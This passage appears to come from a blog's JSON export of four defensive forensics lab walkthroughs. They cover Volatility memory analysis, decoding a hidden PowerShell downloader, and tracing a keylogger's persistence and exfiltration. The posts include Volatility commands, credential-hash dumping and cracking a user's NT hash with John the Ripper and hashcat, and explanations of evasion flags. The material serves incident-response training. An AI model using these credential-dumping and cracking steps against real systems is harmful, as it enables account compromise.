name of the executable that we discovered in Question 9.\nWe’ll stumble across a few links, but I chose the threat report from Mandiant for this write-up.\nBased on the report — we have already discovered some of these indicators of compromise (IOCs) on our victim system. I think that we have determined the malware strain that infected the victim system:\nQuestion 14: What DLL is loaded by the decryptor used for socket creation in Case 002? Reading through the Mandiant report linked in Question 13, there are some mentions of socket functions but not necessarily what DLL is loaded specifically for socket creation. Let’s do a little more manual work with Volatility and perform our own analysis.\nFirst, we will dump the process to see if I can learn anything on VirusTotal about any loaded DLLs by this executable. We’re going to dump this to an output directory and then retrieve the file hash for comparison.\npython3 vol.py -f /Scenarios/Investigations/Investigation-2.raw -o /home/thmanalyst/evidence windows.pslist \u0026ndash;pid 740 \u0026ndash;dump\nsha256sum /home/thmanalyst/evidence/pid.740.0x400000.dmp\nOn the details tab, we’ll scroll down to the imports and take a look at the list of DLLs. It might not be the most efficient way, but we can quickly expand on all of the imports and see if we can spot any network or socket functions specifically. Let’s review the details; there is one that sticks out and looks like it could be relevant.\nNow, let’s return to the DLL list in our analysis environment and look at the output for this process again and see all of the DLLs loaded by this specific sample and verify we see the DLL here as well:\nOkay, I am thinking we may have found the answer but let’s do some additional research. I’m going to try get a quick AI brief on this DLL from the Microsoft Copilot for Edge to before we validate the accuracy of the information through the reference links — it’s always important to verify the accuracy of AI output.\nThe .dll, also known as the Winsock2 DLL, is a dynamic link library file that provides essential functions for network communication in Windows operating systems\n.dll plays a crucial role in managing network communication, ensuring compatibility, and facilitating efficient interactions between applications and service providers in the Windows environment\nOkay, confirmed! This seems like we can say with high confidence that the Winsock2 DLL is what is used for socket creation.\nQuestion 15: What mutex can be found that is a known indicator of the malware in question in Case 002? This is an interesting question and is a new one for me! Let’s do a quick Google refresher on a mutex for context.\nBelow is an excerpt from the SANS Blog:\nPrograms use mutex (“mutual exclusion”) objects as a locking mechanism to serialize access to a resource on the system. Consider the following explanation by Microsoft: “For example, to prevent two threads from writing to shared memory at the same time, each thread waits for ownership of a mutex object before executing the code that accesses the memory. After writing to the shared memory, the thread releases the mutex object.”\nNow, let’s check out the Mandiant report again and see if any of the heavy lifting has been done for us already. If we check out the file artifacts listed in the report, we see a mutex listed out.\nOkay, so in theory this is information that should be captured in the memory image and we should be able to find a mutex used by the malware. Let’s check out the Volatility help and see if we can find any plugins that could help us validate this.\nI’m sure there is a better way to utilize this plugin but in this case, let’s simply use the Volatility 3 windows.mutantscan plugin to validate the presence of the mutex in our analysis sample against the report:\nGreat, we stumbled through this one! Let’s submit and confirm our suspicion.\nQuestion 16: What plugin could be used to identify all files loaded from the malware working directory in Case 002? For the last question, we will return for the last time to our Volatility 3 help file. Let’s see if there are any other plugins we can utilize for further analysis of the malware and search for the files loaded from the malware directory?\nThis plugin could be useful for further analysis especially if we run it against the malware directory that we found in Question 10. While not required for the challenge, let’s go ahead and run the command and grep the working directory:\npython3 vol.py -f /Scenarios/Investigations/Investigation-2.raw windows.filescan | grep -i \u0026ldquo;\\ivecuqmanpnirkt615\u0026rdquo;\nWow! This gives us even more IOCs that we can use to validate our findings. For now, though — let’s submit the answer to Question 16 and wrap up these cases.\nConclusion: There we have it — mission completed! Thank you to TryHackMe for the impressive room and challenge. This was a really great challenge to help me further explore Volatility 3 and learn some new skills along the way and I hope that you learned something as well between the two cases. Personally, I especially appreciated the need to do external research and use some brain power on DFIR. Thank you for your time in checking out this (long) walkthrough and stumbling through the challenge with me. Stay curious!\n","date":"2024-02-25T00:00:00Z","image":"/posts/tryhackme-volatility-room-practical-challenge-walkthrough/73c43c76a6eabc0cc45fdb2142fda745_MD5.jpg","permalink":"/posts/tryhackme-volatility-room-practical-challenge-walkthrough/","title":"TryHackMe  —  Volatility Room Practical Challenge Walkthrough"},{"content":"LetsDefend — Memory Analysis Challenge Walkthrough Endpoint Investigation with Volatility 3 Introduction: Hello!\nIt\u0026rsquo;s another week, another challenge. This time I\u0026rsquo;m continuing with my write-ups of the practice challenges over at LetsDefend and will be tackling the Memory Analysis room. This room is rated medium difficulty and notes that we can use Volatility, a memory forensics tool to complete it. As always, I want to take the opportunity to give back to the community and do some write-ups as I go through the challenges to help anyone who stumbles across this post to level-up their analysis. I am new to using Volatility and excited to stumble through this challenge while getting some hands-on time with the tool. To keep this blog focused, I am not going to cover the setup for Volatility3 but I will point you to the readme over on their GitHub: https://github.com/volatilityfoundation/volatility3\nThanks for reading!\nChallenge Link: https://app.letsdefend.io/challenge/memory-analysis\nChallenge Scenario:\nA Windows Endpoint was recently compromised. Thanks to our cutting-edge EDR/IDS solution we immediately noticed it. The alert was escalated to Tier 2 (Incident Responders) for further investigation. As our Forensics guy, you were given the memory dump of the compromised host. You should continue to investigate.\nNOTE: You can use the Volatility for analysis.\nThis challenge prepared by 0xCyberJunkie.sh\nQuestion 1: What was the date and time when Memory from the compromised endpoint was acquired? Since we\u0026rsquo;re going into this one blindly, let\u0026rsquo;s start to get more familiar with Volatility3 by taking a look at the quick start guide on the GitHub page. It looks like there is a command used to check out what help options we have available within the application. This will help us to tackle the challenge moving forward.\npython3 vol.py -h\nNow, the scenario says we are analyzing a memory dump from a Windows endpoint so let\u0026rsquo;s just scroll through the Windows modules to see if there is anything that might help us to get some general information about the memory dump. After scrolling through the list, we stumble across this module:\nThis plugin might be a good starting point for our investigation so that we can get some high-level details from the dump file and better understand our victim environment.\nFor context, I had previously downloaded and extracted the challenge file to my Kali Linux environment for analysis. When we run Volatility we will point to the challenge file path with the -f parameter and have it use the windows.info plugin.\nAfter running the command, we get the above output. I think the SystemTime might answer the question — let\u0026rsquo;s confirm that we have the right answer:\nQuestion 2: What was the suspicious process running on the system? (Format : name.extension) Let\u0026rsquo;s leverage Volatility to dig a bit deeper and understand the running processes at the time the memory dump was taken. If we refer to the help again we have several process options. We\u0026rsquo;ll try the pslist module first to see if we can find anything suspicious. To make this a little easier to read, we\u0026rsquo;ll output this to a text file.\nIf we scroll through our evidence file, nothing initially sticks out as looking too suspicious. There are a few processes that I\u0026rsquo;m unfamiliar with but a quick Google refresher confirms that everything appears legitimate. Maybe we need some more detail? Let\u0026rsquo;s pivot and try something else process related — the pstree module could be interesting.\nAfter looking over the output a few times, I still don\u0026rsquo;t see anything obvious (like evil.exe or something) sticking out. We are definitely missing something. Let\u0026rsquo;s brush up on normal Windows processes behavior using the excellent SANS Hunt Evil reference graphic.\nAfter looking this over, I think I see something. Let\u0026rsquo;s revisit the pstree output and dial-in on the lsass.exe (PID 7592) processes.\nSANS Hunt Evil reference for lsass.exe\nLet\u0026rsquo;s compare the artifacts from the victim system to the SANS reference. Look closely at the below instance of lsass.exe (PID 7592) from the pstree output. There are a couple of red flags that we notice if we compare to the normal behavior documented above:\nThe first red flag is the parent process ID (PPID) of this lsass.exe process. According to the SANS reference, this should be wininit.exe (PID 500) but the parent process for this lsass.exe is actually 3996 (explorer.exe) — That seems suspicious and definitely requires some further investigation\u0026hellip; The second red flag is the image path of the executable. Take a close look and notice that the image path is %SystemRoot%*System*\\lsass.exe and NOT the expected path %SystemRoot%*System32*\\lsass.exe — this is a subtle evasion technique. Earlier, I mentioned lsass.exe processes — this is the third red flag, there are two instances of this process. This is something that should have tipped us off after running the pslist command (whoops!) If we search for lsass.exe and grep the output to the terminal we now see clearly that there are two different instances\u0026hellip; There are two!\nThe suspicious lsass.exe\nThe legitimate lsass.exe\nAfter focusing the analysis and comparing the known process behavior for lsass.exe (PID 7592), I think we can be pretty confident that we have identified the suspicious process. Let\u0026rsquo;s submit the answer and confirm.\nQuestion 3: Analyze and find the malicious tool running on the system by the attacker (Format name.extension) Now that we have uncovered the suspicious process, we will need to perform further analysis on the tool. Let\u0026rsquo;s circle back to the Volatility3 help command. In addition to the general help file, Volatility also offers help for the individual plugins options:\nSince we know what process ID we want to analyze, maybe we can use pslist again to dump the running process from the memory dump file? Let\u0026rsquo;s try the help command for that specific plugin.\nAwesome! There is a dump option. Once we feed Volatility the PID, we should get a file output to analyze.\nGreat, it worked! Let\u0026rsquo;s get to work on gathering some intelligence and see if we get any hits on VirusTotal or Hybrid Analysis. First we\u0026rsquo;ll grab a hash of the file which will help us document our indicators of compromise; we can do this right from the terminal:\nThen, let\u0026rsquo;s search VirusTotal for any hits\u0026hellip;\nOkay — We\u0026rsquo;ve got a lot of detection and additional analysis for this tool now and we can confirm that it is malicious. For our challenge, we are looking for the name of the malware. VirusTotal has the filename listed as winPEAS.exe — let\u0026rsquo;s submit our finding and see if we are on the right track.\nQuestion 4: Which User Account was compromised? Format (DomainName/USERNAME) We\u0026rsquo;re going to jump back into Volatility to try and scope the impact of this malware and look for which user on the system was compromised. All of our previous process analysis has not given us much user information yet. Once again, we\u0026rsquo;ll turn to the Volatility command reference for a starting point:\nTo view the SIDs (Security Identifiers) associated with a process, use the getsids command. Among other things, this can help you identify processes which have maliciously escalated privileges and which processes belong to specific users.\nThis plugin sounds like it could be what we are looking for to uncover additional information. Since we know the PID (7592) of the malicious executable, let\u0026rsquo;s also see if we can get any info about the user account that ran it. We can run the getsids plugin and grep the malicious PID to the output. Hopefully, this will list out the security identifier (SID) of the user.\nThere we go! It looks like the top result is the user account, CyberJunkie. Even though we have the domain identifier in the SID, we still need to find the domain name to complete the question.\nIf we go back to search the built-in help and the command line reference, we don\u0026rsquo;t see anything that references a domain specifically. We will have to get creative and go a little deeper. Let\u0026rsquo;s give the command line reference one more look for anything that could give us more information generally. What about the envars plugin? This sounds like it could reveal some new, relevant artifacts.\nTo display a process\u0026rsquo;s environment variables, use the envars plugin. Typically this will show the number of CPUs installed and the hardware architecture (though the kdbgscan output is a much more reliable source), the process\u0026rsquo;s current directory, temporary directory, session name, computer name, user name, and various other interesting artifacts.\nIn a Windows domain, the USERDOMAIN environment variable contains the workgroup or domain that a user belongs to. I\u0026rsquo;m thinking that we can try the same method that we did to get the account SID and grep the malicious PID?\nIt looks like this worked. Now we have the domain name and the username of the victim. This plugin actually gave us both parts of the answer, too. Now we have two methods to discover usernames.\nQuestion 5: What is the compromised user password? For the last task, we need to get the password for CyberJunkie. I\u0026rsquo;m not sure where this fits into the investigation narrative, but it will be fun to keep exploring Volatility and practice some password cracking while we\u0026rsquo;re at it. Let\u0026rsquo;s go back one last time to the Volatility help and see what we plugin might help us.\nIt seems like the hashdump plugin might be able to dump the user\u0026rsquo;s password hashes for us. We\u0026rsquo;ll get a little more context from the command reference again:\nTo extract and decrypt cached domain credentials stored in the registry, use the hashdump command\nHashes can now be cracked using John the Ripper, rainbow tables, etc.\nLet\u0026rsquo;s try it out. Again, we will output the results to a text file for easier analysis.\nAfter reviewing the output, we now have the NTHash of the user password from cached credentials in the registry! Now we need to crack the password to solve the challenge.\nThe Volatility docs suggest that we can throw the hash into John the Ripper, or something similar. I prefer John the Ripper but you could also use hashcat or even CrackStation if you want to do a quick check. For illustrative purposes, I will show all three here and use the classic rockyou.txt wordlist.\nCracking the user\u0026rsquo;s NTHash with John the Ripper.\nCracking the user\u0026rsquo;s NTHash with hashcat.\nCracking the user\u0026rsquo;s NTHash with CrackStation.\nThere we have it! Using Volatility we were able to dump the user hashes and crack them to discover the password. Let\u0026rsquo;s submit the answer and wrap this challenge up.\nConclusion: Great job! We got to explore Volatility3 and made it through the challenge. This challenge really got me interested in utilizing Volatility and was a great introduction to the tool. Thank you to LetsDefend.io for the awesome lab and thank you for checking out this walkthrough and stumbling through the challenge with me. Stay curious!\n","date":"2024-02-18T00:00:00Z","image":"/posts/letsdefend-memory-analysis-challenge-walkthrough/f03698814f4fdc7013661cdd7d18e06d_MD5.png","permalink":"/posts/letsdefend-memory-analysis-challenge-walkthrough/","title":"LetsDefend  —  Memory Analysis Challenge Walkthrough"},{"content":"LetsDefend — PowerShell Script Challenge Walkthrough PowerShell Script Analysis with CyberChef Introduction: Hello! I just started checking out the practice labs over at LetsDefend and adding them into my rotation. I want to take the opportunity to give back and do some write-ups as I go through the site to help anyone who stumbles across this post to level-up their analysis. This challenge room is rated easy, but it presents a great opportunity not only to get familiar with the platform (and find some flags!) but also sharpen my own skills by digging deeper with some research into some fundamentals PowerShell script analysis. Thanks for reading!\nChallenge Link: https://app.letsdefend.io/challenge/powershell-script#virtual\nChallenge Scenario:\nYou\u0026rsquo;ve come across a puzzling Base64 script, seemingly laced with malicious intent. Your mission, should you choose to accept it, is to dissect and analyze this script, unveiling its true nature and potential risks. Dive into the code and reveal its secrets to safeguard our digital realm. Good luck on this daring quest!\nTool Needed: Cyberchef File Location: C:\\Users\\LetsDefend\\Desktop\\script.txt\nThis challenge prepared by ZaadoOfc Credit: csnp.org\nQuestion 1: What encoding is the malicious script using? First, let\u0026rsquo;s take a quick look at this script and focus on the parameters:\nNotice the -Enc parameter and the script that follows? PowerShell supports abbreviated parameters as long as it is unambiguous and couldn\u0026rsquo;t be confused with another command. With that in mind, this looks like it is the abbreviated parameter of -EncodedCommand. According to Microsoft Learn, this parameter allows PowerShell to accept a Base64 encoded command. The encoding obfuscates the script so that security tools and defenders won\u0026rsquo;t be as easily able to detect and analyze the contents.\nLet\u0026rsquo;s try the answer\u0026hellip;\nNice, we got one! Let\u0026rsquo;s keep moving.\nQuestion 2: What parameter in the powershell script makes it so that the powershell window is hidden when executed? Looking at the parameters again, one sticks out:-W Hidden\nIf we refer to Microsoft Learn, it seems that -W is a shorthand for -WindowStyle where Hidden is a value that makes the session not visible to the user when the script is executed.\nQuestion 3: What parameter in the Powershell script prevents the user from closing the process? Approaching this the same way as the last question, there is a parameter that seems like it might correct: -NonI\nGoing back to Microsoft Learn, this seems to be a parameter abbreviation for -NonInteractive which means that the session won\u0026rsquo;t prompt for/require user input during execution of the script.\nQuestion 4: What line of code allows the script to interact with websites and retrieve information from them? From Question 1, we know that we are looking at a Base64 encoded script so we need to decode and analyze the payload to understand what it is doing. Our challenge scenario tells us we will want to jump into CyberChef to decode\nNow, let\u0026rsquo;s apply the From Base64 operation to our recipe. We are getting closer and the script is starting to become readable, but notice the NULL bytes?\nWhat if we add Remove Null Bytes to the recipe, too?\nThat looks better!\nNow that we can read this, let\u0026rsquo;s take a closer look and tackle the rest of this question. We are looking for a \u0026quot; # \u0026ldquo;line of code allows the script to interact with websites and retrieve information from them\u0026rdquo;— let\u0026rsquo; look at the first line. We see a reference to the string WebClient, this seems like a good place to start!\nMicrosoft Learn states that WebClient is a class in the System.Net namespace and is used to download or upload data to the internet. So by creating this class you can perform web-related tasks such as downloading files from URLs.\nIf we take the whole line, it looks like we have our answer and can start to understand that the script might be trying to download something from somewhere\u0026hellip;\nQuestion 5: What is the user agent string that is being spoofed in the malicious script? Looking at the next line, we see the $u variable set as this string:\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko\nAccording to Mozilla, this looks like a pretty standard user agent string so we probably our answer already. For context, user agent strings are used by servers to identify requesting client details like the operating system, web browser version, and the web rendering engine.\nWhile not required for this challenge, a cool thing you can do is try a user agent lookup tool to help provide some context for the spoofed user agent string. If we run the string from the challenge, we can get some additional intelligence and see what client the script is spoofing!\nQuestion 6: What line of code is used to set the proxy credentials for authentication in the script? Okay, looking at the decoded script we see a reference to Proxy.Cedentials which puts us in the right place for the question.\nThe full code seems to be suggesting that the script sets the variable to use the System.Net.CredentialCache.DefaultNetworkCredentials property of the credential cache. After doing some research, it seems that when using PowerShell to connect out to external web (HTTP/HTTPS) resources, it does not use the system\u0026rsquo;s specified proxy server settings by default and they must be specified — Microsoft Learn states that:\nThe credentials returned by DefaultNetworkCredentials represents the authentication credentials for the current security context in which the application is running. For a client-side application, these are usually the Windows credentials (user name, password, and domain) of the user running the application.\nThat\u0026rsquo;s a lot of information! Essentially, it appears that the command is simply using the current security context (user name, password, and domain) to set proxy authentication in the script to make the web request to ensure that it gets out.\nQuestion 7: When the malicious script is executed, what is the URL that the script contacts to download the malicious payload? We made it, last one! This one is easy to spot. Let\u0026rsquo;s look at the $DownloadString — this is pointing our $WC (WebClient) instance to download the content of the specified URL.\nWebClient.DownloadString Method (System.Net) _Downloads the requested resource as a String. The resource to download may be specified as either String containing the\u0026hellip;_learn.microsoft.com\nNow that we have the URL, we could apply additional intelligence, perform further analysis, and apply mitigations for the indicator but for the purposes of this challenge this is as far as we need to go. Let\u0026rsquo;s submit the flag and wrap this up!\nConclusion: Whew! We made it through the challenge and we also have a better working understanding of this script: basically when the victim executes the script, PowerShell runs the code in a hidden, non-interactive window where it downloads the malicious payload from an external URL. Good work!\nThanks for checking out this walkthrough and thank you to LetsDefend.io for the fun lab. I hope whoever stumbled upon this post found it helpful and that the additional analysis and context added some value for you. Stay curious!\n","date":"2024-02-11T00:00:00Z","image":"/posts/letsdefend-powershell-script-challenge-walkthrough/f5d3f7d7ca43056f9865d885ff4cb868_MD5.png","permalink":"/posts/letsdefend-powershell-script-challenge-walkthrough/","title":"LetsDefend — PowerShell Script Challenge Walkthrough"},{"content":"CyberDefenders.org — KrakenKeylogger Blue Team Lab Walkthrough Endpoint Investigation with DB Browser \u0026amp; Eric Zimmerman\u0026rsquo;s tools Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/krakenkeylogger/\nIntroduction: Hello! I\u0026rsquo;ve recently stumbled on the practice labs over on cyberdefenders.org. This challenge room was one of the first that I tried on the site and while stumbling through the questions, I thought it would be a great opportunity to do a write-up to solidify the concepts for me and share this cool challenge with anyone who stumbles across this post. Thanks for reading!\nChallenge Link: https://cyberdefenders.org/blueteam-ctf-challenges/119/\nChallenge Scenario: An employee at a large company was assigned a task with a two-day deadline. Realizing that he could not complete the task in that timeframe, he sought help from someone else. After one day, he received a notification from that person who informed him that he had managed to finish the assignment and sent it to the employee as a test. However, the person also sent a message to the employee stating that if he wanted the completed assignment, he would have to pay $160.\nThe helper\u0026rsquo;s demand for payment revealed that he was actually a threat actor. The company\u0026rsquo;s digital forensics team was called in to investigate and identify the attacker, determine the extent of the attack, and assess potential data breaches. The team must analyze the employee\u0026rsquo;s computer and communication logs to prevent similar attacks in the future.\nQuestion 1: What is the the web messaging app the employee used to talk to the attacker?\nAND\nQuestion 2: What is the password for the protected ZIP file sent by the attacker to the employee?\nThis question mentions a web-based messaging app and the scenario lists a handful of tools to solve the challenge including DB Browser for SQLite. Normally, you can view the browser history database with this tool, so I turned my attention to examining the browser databases to see what I could find.\nUnfortunately, these artifacts are missing from the challenge files for Google Chrome so we have to pivot, but there is one clue in the scenario description — notification. This got me thinking about the Windows notification center toasts.\nI did a quick search for Notifications in Windows and was surprised to actually stumble on some results in the directory: \\Users\\OMEN\\AppData\\Local\\Microsoft\\Windows otifications\nInside of this directory is a database file, wpndatabase.db, which after a little Google magic I figured out is a database for Windows Push Notifications that stores Windows notification data. I loaded up this database file with the DB Browser to see if I could find anything interesting\u0026hellip;\nInteresting, indeed! Within the notification table, it looked like I may have found the answer for Question 1 and Question 2 here. Two for the price of one!\nQuestion 3: What domain did the attacker use to download the second stage of the malware?\nThe discovery in the previous questions gave me a pretty good starting point. I needed to locate the file the attacker sent to the victim and analyze it for anything suspicious. When conducting an investigation, even for lab scenarios, I typically make it a habit to do a quick manual browsing of the folder structure (AppData, Downloads, etc.) to familiarize myself with the environment. After seeing the filename for the ZIP file in the wpndatabase, I recalled seeing a similar file artifact in my earlier reconnaissance.\nI took a look at the contents within the victim\u0026rsquo;s Downloads folder and noticed something suspicious — a shortcut or lnk file, called templet.\nI referred to another of the scenario\u0026rsquo;s suggested tools, LECmd. This utility can be used to parse lnk files for further analysis.\nWithin the argument, there appeared to be an obfuscated URL and I spent way too much time in CyberChef before I could finally deobfuscate it to solve Question 3.\nIf you spend some time researching this malware on Google, however, there is an excellent analysis write-up that could help in scripting this process very quickly\u0026hellip;\nQuestion 4: What is the name of the command that the attacker injected using one of the installed LOLAPPS on the machine to achieve persistence?\nAND\nQuestion 5: What is the complete path of the malicious file that the attacker used to achieve persistence?\nLOLAPPS? I was familiar with LOLBins but this was new to me. I took to Google to understand if this was the same thing or something else. Fortunately, I stumbled across a website explaining LOLAPPS, including some examples of how to leverage a few of these apps for persistence.\nWith that information, I remembered seeing evidence of one of these applications, Greenshot, on the victim\u0026rsquo;s system during my earlier browsing of the challenge files.\nUsing the linked resources available for Greenshot on the LOLAPPS project site, I was able to find evidence of persistence from abuse of the External Command Plugin within the application\u0026rsquo;s configuration file. This was very interesting because I noticed a familiar filename referenced in the command being used for persistence and used this path to answer Question 5, too!\nQuestion 6: What is the name of the application the attacker utilized for data exfiltration?\nDuring my earlier analysis, there was another application that stuck out to me. A common post-compromise technique for the bad guys to leverage is installing legitimate remote access software for use as an alternative command and control or exfiltration channel (MITRE ATT\u0026amp;CK T1219).\nKnowing this, I suspected that I already had the answer from checking out the AppData of the challenge files and from browsing the Microsoft Edge browser history database.\nQuestion 7: What is the IP address of the attacker?\nNow that I knew what application was used for exfiltration, I suspected that I needed to locate the application logs to help reveal the attacker\u0026rsquo;s IP address. Based on my previous experience with a different remote access software, I felt pretty confident that a quick search of the vendor\u0026rsquo;s site would tell me where to look.\nSure enough, this application maintains a trace file that can be located in %appdata%\\REDACTED\\ad.trace\nFor this last question, I utilized the last of the scenario suggested tools, Timeline Explorer. I had not used this tool before and found that it really helped speed up the log analysis. I tried a couple of searches within the trace file looking for external access. The right one was \u0026quot; # \u0026quot;\nlogged in\u0026quot; which gave me the final answer for this lab!\nConclusion: Thank you to cyberdefenders.org for the challenge! This was a really fun lab scenario that provided a unique set of challenges during the investigation. This challenge also provided a great introduction to some of Eric Zimmerman\u0026rsquo;s tools that I had not used before and allowed me to better understand and analyze the Windows Push Notification database, LOLAPPS, and application logs.\n","date":"2024-02-05T00:00:00Z","image":"/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/84c5a549ac431d994cfc9fcc8295a270_MD5.png","permalink":"/posts/cyberdefenders-krakenkeylogger-blue-team-lab-walkthrough/","title":"CyberDefenders —  KrakenKeylogger Blue Team Lab Walkthrough"}]